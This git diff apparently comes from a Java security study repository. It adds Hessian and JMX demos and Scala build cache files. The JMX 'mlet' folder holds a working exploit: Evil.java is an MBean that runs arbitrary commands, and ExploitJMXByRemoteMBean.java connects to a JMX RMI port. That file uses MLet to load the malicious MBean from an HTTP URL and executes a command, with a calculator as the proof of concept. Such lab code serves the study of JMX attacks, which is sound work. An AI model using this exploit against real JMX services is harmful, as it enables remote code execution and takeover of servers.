diff --git a/JavaSecurity/Hession/HessionLearn/src/main/java/com/hession/test/Person.java b/JavaSecurity/Hession/HessionLearn/src/main/java/com/hession/test/Person.java
new file mode 100644
index 00000000..2350bb99
--- /dev/null
+++ b/JavaSecurity/Hession/HessionLearn/src/main/java/com/hession/test/Person.java
@@ -0,0 +1,29 @@
+package com.hession.test;
+
+import java.io.Serializable;
+
+public class Person implements Serializable {
+ public String name;
+ public int age;
+
+ public int getAge() {
+ return age;
+ }
+
+ @Override
+ public String toString() {
+ return super.toString();
+ }
+
+ public String getName() {
+ return name;
+ }
+
+ public void setAge(int age) {
+ this.age = age;
+ }
+
+ public void setName(String name) {
+ this.name = name;
+ }
+}
\ No newline at end of file
diff --git a/JavaSecurity/Hession/pom.xml b/JavaSecurity/Hession/pom.xml
new file mode 100644
index 00000000..8b655d49
--- /dev/null
+++ b/JavaSecurity/Hession/pom.xml
@@ -0,0 +1,21 @@
+
+
+ 4.0.0
+
+ org.example
+ Hession
+ 1.0-SNAPSHOT
+ pom
+
+ HessionLearn
+
+
+
+ 8
+ 8
+ UTF-8
+
+
+
\ No newline at end of file
diff --git a/JavaSecurity/Hession/src/main/java/org/example/Main.java b/JavaSecurity/Hession/src/main/java/org/example/Main.java
new file mode 100644
index 00000000..407f157b
--- /dev/null
+++ b/JavaSecurity/Hession/src/main/java/org/example/Main.java
@@ -0,0 +1,7 @@
+package org.example;
+
+public class Main {
+ public static void main(String[] args) {
+ System.out.println("Hello world!");
+ }
+}
\ No newline at end of file
diff --git a/JavaSecurity/JDK/.DS_Store b/JavaSecurity/JDK/.DS_Store
new file mode 100644
index 00000000..a8a3f43f
Binary files /dev/null and b/JavaSecurity/JDK/.DS_Store differ
diff --git a/JavaSecurity/JDK/JMX/.gitignore b/JavaSecurity/JDK/JMX/.gitignore
new file mode 100644
index 00000000..5ff6309b
--- /dev/null
+++ b/JavaSecurity/JDK/JMX/.gitignore
@@ -0,0 +1,38 @@
+target/
+!.mvn/wrapper/maven-wrapper.jar
+!**/src/main/**/target/
+!**/src/test/**/target/
+
+### IntelliJ IDEA ###
+.idea/modules.xml
+.idea/jarRepositories.xml
+.idea/compiler.xml
+.idea/libraries/
+*.iws
+*.iml
+*.ipr
+
+### Eclipse ###
+.apt_generated
+.classpath
+.factorypath
+.project
+.settings
+.springBeans
+.sts4-cache
+
+### NetBeans ###
+/nbproject/private/
+/nbbuild/
+/dist/
+/nbdist/
+/.nb-gradle/
+build/
+!**/src/main/**/build/
+!**/src/test/**/build/
+
+### VS Code ###
+.vscode/
+
+### Mac OS ###
+.DS_Store
\ No newline at end of file
diff --git a/JavaSecurity/JDK/JMX/pom.xml b/JavaSecurity/JDK/JMX/pom.xml
new file mode 100644
index 00000000..409550e6
--- /dev/null
+++ b/JavaSecurity/JDK/JMX/pom.xml
@@ -0,0 +1,17 @@
+
+
+ 4.0.0
+
+ org.example
+ JMX
+ 1.0-SNAPSHOT
+
+
+ 8
+ 8
+ UTF-8
+
+
+
\ No newline at end of file
diff --git a/JavaSecurity/JDK/JMX/src/main/java/com/drunkbaby/mlet/Evil.java b/JavaSecurity/JDK/JMX/src/main/java/com/drunkbaby/mlet/Evil.java
new file mode 100644
index 00000000..2cdbca28
--- /dev/null
+++ b/JavaSecurity/JDK/JMX/src/main/java/com/drunkbaby/mlet/Evil.java
@@ -0,0 +1,33 @@
+package com.drunkbaby.mlet;
+
+import java.io.BufferedReader;
+import java.io.InputStreamReader;
+
+public class Evil implements EvilMBean
+{
+ public String runCommand(String cmd)
+ {
+ try {
+ Runtime rt = Runtime.getRuntime();
+ Process proc = rt.exec(cmd);
+ BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));
+ BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream()));
+ String stdout_err_data = "";
+ String s;
+ while ((s = stdInput.readLine()) != null)
+ {
+ stdout_err_data += s+"\n";
+ }
+ while ((s = stdError.readLine()) != null)
+ {
+ stdout_err_data += s+"\n";
+ }
+ proc.waitFor();
+ return stdout_err_data;
+ }
+ catch (Exception e)
+ {
+ return e.toString();
+ }
+ }
+}
diff --git a/JavaSecurity/JDK/JMX/src/main/java/com/drunkbaby/mlet/EvilMBean.java b/JavaSecurity/JDK/JMX/src/main/java/com/drunkbaby/mlet/EvilMBean.java
new file mode 100644
index 00000000..8637c221
--- /dev/null
+++ b/JavaSecurity/JDK/JMX/src/main/java/com/drunkbaby/mlet/EvilMBean.java
@@ -0,0 +1,5 @@
+package com.drunkbaby.mlet;
+
+public interface EvilMBean {
+ public String runCommand(String cmd);
+}
diff --git a/JavaSecurity/JDK/JMX/src/main/java/com/drunkbaby/mlet/ExploitJMXByRemoteMBean.java b/JavaSecurity/JDK/JMX/src/main/java/com/drunkbaby/mlet/ExploitJMXByRemoteMBean.java
new file mode 100644
index 00000000..152c7878
--- /dev/null
+++ b/JavaSecurity/JDK/JMX/src/main/java/com/drunkbaby/mlet/ExploitJMXByRemoteMBean.java
@@ -0,0 +1,66 @@
+package com.drunkbaby.mlet;
+
+import javax.management.MBeanServerConnection;
+import javax.management.ObjectInstance;
+import javax.management.ObjectName;
+import javax.management.remote.JMXConnector;
+import javax.management.remote.JMXConnectorFactory;
+import javax.management.remote.JMXServiceURL;
+import java.net.MalformedURLException;
+import java.util.HashSet;
+import java.util.Iterator;
+
+public class ExploitJMXByRemoteMBean {
+
+ public static void main(String[] args) {
+ try {
+// connectAndOwn(args[0], args[1], args[2]);
+ connectAndOwn("localhost","1099","open -a Calculator");
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ }
+
+ static void connectAndOwn(String serverName, String port, String command) throws MalformedURLException {
+ try {
+ // step1. 通过rmi创建 jmx连接
+ JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi");
+ System.out.println("URL: " + u + ", connecting");
+ JMXConnector c = JMXConnectorFactory.connect(u);
+ System.out.println("Connected: " + c.getConnectionId());
+ MBeanServerConnection m = c.getMBeanServerConnection();
+
+ // step2. 加载特殊MBean:javax.management.loading.MLet
+ ObjectInstance evil_bean = null;
+ ObjectInstance evil = null;
+ try {
+ evil = m.createMBean("javax.management.loading.MLet", null);
+ } catch (javax.management.InstanceAlreadyExistsException e) {
+ evil = m.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));
+ }
+ // step3:通过MLet加载远程恶意MBean
+ System.out.println("Loaded "+evil.getClassName());
+ Object res = m.invoke(evil.getObjectName(), "getMBeansFromURL", new Object[]
+ { "http://localhost:4141/evil.html"},
+ new String[] { String.class.getName() } );
+
+ HashSet res_set = ((HashSet)res);
+ Iterator itr = res_set.iterator();
+ Object nextObject = itr.next();
+ if (nextObject instanceof Exception)
+ {
+ throw ((Exception)nextObject);
+ }
+ evil_bean = ((ObjectInstance)nextObject);
+
+ // step4: 执行恶意MBean
+ System.out.println("Loaded class: "+evil_bean.getClassName()+" object "+evil_bean.getObjectName());
+ System.out.println("Calling runCommand with: "+command);
+ Object result = m.invoke(evil_bean.getObjectName(), "runCommand", new Object[]{ command }, new String[]{ String.class.getName() });
+ System.out.println("Result: "+result);
+ } catch (Exception e)
+ {
+ e.printStackTrace();
+ }
+ }
+}
diff --git a/JavaSecurity/JDK/JMX/src/main/java/com/drunkbaby/mlet/JMX.jar b/JavaSecurity/JDK/JMX/src/main/java/com/drunkbaby/mlet/JMX.jar
new file mode 100644
index 00000000..ba2a5d4b
Binary files /dev/null and b/JavaSecurity/JDK/JMX/src/main/java/com/drunkbaby/mlet/JMX.jar differ
diff --git a/JavaSecurity/JDK/JMX/src/main/java/com/drunkbaby/mlet/evil.html b/JavaSecurity/JDK/JMX/src/main/java/com/drunkbaby/mlet/evil.html
new file mode 100644
index 00000000..6ed4d9dd
--- /dev/null
+++ b/JavaSecurity/JDK/JMX/src/main/java/com/drunkbaby/mlet/evil.html
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/JavaSecurity/JDK/JMX/src/main/java/org/example/HelloWorld.java b/JavaSecurity/JDK/JMX/src/main/java/org/example/HelloWorld.java
new file mode 100644
index 00000000..242db8dc
--- /dev/null
+++ b/JavaSecurity/JDK/JMX/src/main/java/org/example/HelloWorld.java
@@ -0,0 +1,19 @@
+package org.example;
+
+public class HelloWorld implements HelloWorldMBean{
+ private String name = "Drunkbaby";
+ @Override
+ public void sayhello() {
+ System.out.println("hello world" + this.name);
+ }
+
+ @Override
+ public int add(int x, int y) {
+ return x + y;
+ }
+
+ @Override
+ public String getName() {
+ return this.name;
+ }
+}
diff --git a/JavaSecurity/JDK/JMX/src/main/java/org/example/HelloWorldMBean.java b/JavaSecurity/JDK/JMX/src/main/java/org/example/HelloWorldMBean.java
new file mode 100644
index 00000000..22008cd7
--- /dev/null
+++ b/JavaSecurity/JDK/JMX/src/main/java/org/example/HelloWorldMBean.java
@@ -0,0 +1,7 @@
+package org.example;
+
+public interface HelloWorldMBean {
+ public void sayhello();
+ public int add(int x, int y);
+ public String getName();
+}
diff --git a/JavaSecurity/JDK/JMX/src/main/java/org/example/Main.java b/JavaSecurity/JDK/JMX/src/main/java/org/example/Main.java
new file mode 100644
index 00000000..407f157b
--- /dev/null
+++ b/JavaSecurity/JDK/JMX/src/main/java/org/example/Main.java
@@ -0,0 +1,7 @@
+package org.example;
+
+public class Main {
+ public static void main(String[] args) {
+ System.out.println("Hello world!");
+ }
+}
\ No newline at end of file
diff --git a/JavaSecurity/JDK/JMX/src/main/java/org/example/jmxDemo.java b/JavaSecurity/JDK/JMX/src/main/java/org/example/jmxDemo.java
new file mode 100644
index 00000000..8e04e43c
--- /dev/null
+++ b/JavaSecurity/JDK/JMX/src/main/java/org/example/jmxDemo.java
@@ -0,0 +1,32 @@
+package org.example;
+
+import javax.management.MBeanServer;
+import javax.management.ObjectName;
+import javax.management.remote.JMXConnectorServer;
+import javax.management.remote.JMXConnectorServerFactory;
+import javax.management.remote.JMXServiceURL;
+import java.lang.management.ManagementFactory;
+import java.rmi.registry.LocateRegistry;
+import java.rmi.registry.Registry;
+
+public class jmxDemo {
+ public static void main(String[] args) throws Exception{
+ MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer();
+ ObjectName mbsName = new ObjectName("test:type=HelloWorld");
+ HelloWorld mbean = new HelloWorld();
+ mBeanServer.registerMBean(mbean, mbsName);
+
+ // 创建一个 RMI Registry
+ Registry registry = LocateRegistry.createRegistry(1099);
+ // 构造 JMXServiceURL,绑定创建的 RMI
+ JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi");
+ // 构造JMXConnectorServer,关联 mbserver
+ JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer);
+ jmxConnectorServer.start();
+ System.out.println("JMXConnectorServer is ready");
+
+ System.out.println("press any key to exit.");
+ System.in.read();
+
+ }
+}
diff --git a/JavaSecurity/JDK/JMX/src/main/resources/META-INF/MANIFEST.MF b/JavaSecurity/JDK/JMX/src/main/resources/META-INF/MANIFEST.MF
new file mode 100644
index 00000000..c304d41c
--- /dev/null
+++ b/JavaSecurity/JDK/JMX/src/main/resources/META-INF/MANIFEST.MF
@@ -0,0 +1,3 @@
+Manifest-Version: 1.0
+Main-Class: org.example.Main
+
diff --git a/JavaSecurity/JDK/JMX/src/main/resources/evil.html b/JavaSecurity/JDK/JMX/src/main/resources/evil.html
new file mode 100644
index 00000000..6ed4d9dd
--- /dev/null
+++ b/JavaSecurity/JDK/JMX/src/main/resources/evil.html
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/JavaSecurity/JDK/Scala1/.bsp/sbt.json b/JavaSecurity/JDK/Scala1/.bsp/sbt.json
new file mode 100644
index 00000000..2386def0
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/.bsp/sbt.json
@@ -0,0 +1 @@
+{"name":"sbt","version":"1.10.1","bspVersion":"2.1.0-M1","languages":["scala"],"argv":["/Library/Java/JavaVirtualMachines/jdk1.8.0_65.jdk/Contents/Home/jre/bin/java","-Xms100m","-Xmx100m","-classpath","/Users/drunkbaby/Library/Application Support/JetBrains/IntelliJIdea2023.3/plugins/Scala/launcher/sbt-launch.jar","xsbt.boot.Boot","-bsp","--sbt-launch-jar=/Users/drunkbaby/Library/Application%20Support/JetBrains/IntelliJIdea2023.3/plugins/Scala/launcher/sbt-launch.jar"]}
\ No newline at end of file
diff --git a/JavaSecurity/JDK/Scala1/build.sbt b/JavaSecurity/JDK/Scala1/build.sbt
new file mode 100644
index 00000000..9196b85f
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/build.sbt
@@ -0,0 +1,8 @@
+ThisBuild / version := "0.1.0-SNAPSHOT"
+
+ThisBuild / scalaVersion := "2.13.8"
+
+lazy val root = (project in file("."))
+ .settings(
+ name := "Scala1"
+ )
diff --git a/JavaSecurity/JDK/Scala1/project/build.properties b/JavaSecurity/JDK/Scala1/project/build.properties
new file mode 100644
index 00000000..136f452e
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/project/build.properties
@@ -0,0 +1 @@
+sbt.version = 1.10.1
diff --git a/JavaSecurity/JDK/Scala1/project/target/config-classes/$a360fc2c85e10743d0ac$.class b/JavaSecurity/JDK/Scala1/project/target/config-classes/$a360fc2c85e10743d0ac$.class
new file mode 100644
index 00000000..60c7fc58
Binary files /dev/null and b/JavaSecurity/JDK/Scala1/project/target/config-classes/$a360fc2c85e10743d0ac$.class differ
diff --git a/JavaSecurity/JDK/Scala1/project/target/config-classes/$a360fc2c85e10743d0ac.cache b/JavaSecurity/JDK/Scala1/project/target/config-classes/$a360fc2c85e10743d0ac.cache
new file mode 100644
index 00000000..d8649da3
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/project/target/config-classes/$a360fc2c85e10743d0ac.cache
@@ -0,0 +1 @@
+root
diff --git a/JavaSecurity/JDK/Scala1/project/target/config-classes/$a360fc2c85e10743d0ac.class b/JavaSecurity/JDK/Scala1/project/target/config-classes/$a360fc2c85e10743d0ac.class
new file mode 100644
index 00000000..a53ae31a
Binary files /dev/null and b/JavaSecurity/JDK/Scala1/project/target/config-classes/$a360fc2c85e10743d0ac.class differ
diff --git a/JavaSecurity/JDK/Scala1/project/target/config-classes/$efc9dd1e0e3c1657c922$.class b/JavaSecurity/JDK/Scala1/project/target/config-classes/$efc9dd1e0e3c1657c922$.class
new file mode 100644
index 00000000..c907dfcf
Binary files /dev/null and b/JavaSecurity/JDK/Scala1/project/target/config-classes/$efc9dd1e0e3c1657c922$.class differ
diff --git a/JavaSecurity/JDK/Scala1/project/target/config-classes/$efc9dd1e0e3c1657c922.cache b/JavaSecurity/JDK/Scala1/project/target/config-classes/$efc9dd1e0e3c1657c922.cache
new file mode 100644
index 00000000..050f36c6
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/project/target/config-classes/$efc9dd1e0e3c1657c922.cache
@@ -0,0 +1 @@
+sbt.internal.DslEntry
\ No newline at end of file
diff --git a/JavaSecurity/JDK/Scala1/project/target/config-classes/$efc9dd1e0e3c1657c922.class b/JavaSecurity/JDK/Scala1/project/target/config-classes/$efc9dd1e0e3c1657c922.class
new file mode 100644
index 00000000..c72759da
Binary files /dev/null and b/JavaSecurity/JDK/Scala1/project/target/config-classes/$efc9dd1e0e3c1657c922.class differ
diff --git a/JavaSecurity/JDK/Scala1/project/target/config-classes/$f112f1b521f25997dad8$.class b/JavaSecurity/JDK/Scala1/project/target/config-classes/$f112f1b521f25997dad8$.class
new file mode 100644
index 00000000..2776a0b2
Binary files /dev/null and b/JavaSecurity/JDK/Scala1/project/target/config-classes/$f112f1b521f25997dad8$.class differ
diff --git a/JavaSecurity/JDK/Scala1/project/target/config-classes/$f112f1b521f25997dad8.cache b/JavaSecurity/JDK/Scala1/project/target/config-classes/$f112f1b521f25997dad8.cache
new file mode 100644
index 00000000..050f36c6
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/project/target/config-classes/$f112f1b521f25997dad8.cache
@@ -0,0 +1 @@
+sbt.internal.DslEntry
\ No newline at end of file
diff --git a/JavaSecurity/JDK/Scala1/project/target/config-classes/$f112f1b521f25997dad8.class b/JavaSecurity/JDK/Scala1/project/target/config-classes/$f112f1b521f25997dad8.class
new file mode 100644
index 00000000..a05413db
Binary files /dev/null and b/JavaSecurity/JDK/Scala1/project/target/config-classes/$f112f1b521f25997dad8.class differ
diff --git a/JavaSecurity/JDK/Scala1/project/target/config-classes/$f5cf7f0a23260a905c23$.class b/JavaSecurity/JDK/Scala1/project/target/config-classes/$f5cf7f0a23260a905c23$.class
new file mode 100644
index 00000000..6ab0da25
Binary files /dev/null and b/JavaSecurity/JDK/Scala1/project/target/config-classes/$f5cf7f0a23260a905c23$.class differ
diff --git a/JavaSecurity/JDK/Scala1/project/target/config-classes/$f5cf7f0a23260a905c23.cache b/JavaSecurity/JDK/Scala1/project/target/config-classes/$f5cf7f0a23260a905c23.cache
new file mode 100644
index 00000000..050f36c6
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/project/target/config-classes/$f5cf7f0a23260a905c23.cache
@@ -0,0 +1 @@
+sbt.internal.DslEntry
\ No newline at end of file
diff --git a/JavaSecurity/JDK/Scala1/project/target/config-classes/$f5cf7f0a23260a905c23.class b/JavaSecurity/JDK/Scala1/project/target/config-classes/$f5cf7f0a23260a905c23.class
new file mode 100644
index 00000000..a0419df4
Binary files /dev/null and b/JavaSecurity/JDK/Scala1/project/target/config-classes/$f5cf7f0a23260a905c23.class differ
diff --git a/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/sync/copy-resource b/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/sync/copy-resource
new file mode 100644
index 00000000..9d348e7b
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/sync/copy-resource
@@ -0,0 +1 @@
+[[{},{}],{}]
\ No newline at end of file
diff --git a/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/update/update_cache_2.12/inputs b/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/update/update_cache_2.12/inputs
new file mode 100644
index 00000000..2b158ad8
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/update/update_cache_2.12/inputs
@@ -0,0 +1 @@
+-702981080
\ No newline at end of file
diff --git a/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/update/update_cache_2.12/output b/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/update/update_cache_2.12/output
new file mode 100644
index 00000000..0ff60c10
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/update/update_cache_2.12/output
@@ -0,0 +1 @@
+{"cachedDescriptor":".","configurations":[{"configuration":{"name":"compile"},"modules":[],"details":[]},{"configuration":{"name":"compile-internal"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.12.19","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[{"organization":"org.scala-sbt","name":"io_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-ivy_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-position_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"sbt","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-logging_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"scripted-plugin_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-core_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}}],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.12.19/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"jar","extension":"jar","configurations":[],"extraAttributes":{},"allowInsecureProtocol":false},"file:///Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-library.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.12.19/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]}],"details":[]},{"configuration":{"name":"docs"},"modules":[],"details":[]},{"configuration":{"name":"optional"},"modules":[],"details":[]},{"configuration":{"name":"plugin"},"modules":[],"details":[]},{"configuration":{"name":"pom"},"modules":[],"details":[]},{"configuration":{"name":"provided"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.12.19","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[{"organization":"org.scala-sbt","name":"io_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-ivy_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-position_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"sbt","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-logging_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"scripted-plugin_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-core_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}}],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.12.19/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"jar","extension":"jar","configurations":[],"extraAttributes":{},"allowInsecureProtocol":false},"file:///Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-library.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.12.19/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]}],"details":[]},{"configuration":{"name":"runtime"},"modules":[],"details":[]},{"configuration":{"name":"runtime-internal"},"modules":[],"details":[]},{"configuration":{"name":"scala-doc-tool"},"modules":[],"details":[]},{"configuration":{"name":"scala-tool"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-compiler","revision":"2.12.19","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[{"organization":"org.scala-sbt","name":"io_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-ivy_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-position_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"sbt","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-logging_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"scripted-plugin_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-core_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}}],"extraAttributes":{},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-compiler","type":"jar","extension":"jar","configurations":[],"extraAttributes":{},"allowInsecureProtocol":false},"file:///Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-compiler.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"org.scala-lang","name":"scala-compiler","revision":"2.12.19","configurations":"optional","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[{"organization":"org.scala-sbt","name":"io_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-ivy_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-position_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"sbt","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-logging_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"scripted-plugin_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-core_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}}],"extraAttributes":{},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-compiler","type":"jar","extension":"jar","configurations":[],"extraAttributes":{},"allowInsecureProtocol":false},"file:///Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-compiler.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.12.19","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[{"organization":"org.scala-sbt","name":"io_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-ivy_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-position_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"sbt","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-logging_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"scripted-plugin_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-core_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}}],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.12.19/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"jar","extension":"jar","configurations":[],"extraAttributes":{},"allowInsecureProtocol":false},"file:///Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-library.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.12.19/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.12.19","configurations":"optional","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[{"organization":"org.scala-sbt","name":"io_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-ivy_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-position_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"sbt","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-logging_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"scripted-plugin_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-core_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}}],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.12.19/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"jar","extension":"jar","configurations":[],"extraAttributes":{},"allowInsecureProtocol":false},"file:///Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-library.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.12.19/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"org.scala-lang","name":"scala-reflect","revision":"2.12.19","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[{"organization":"org.scala-sbt","name":"io_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-iv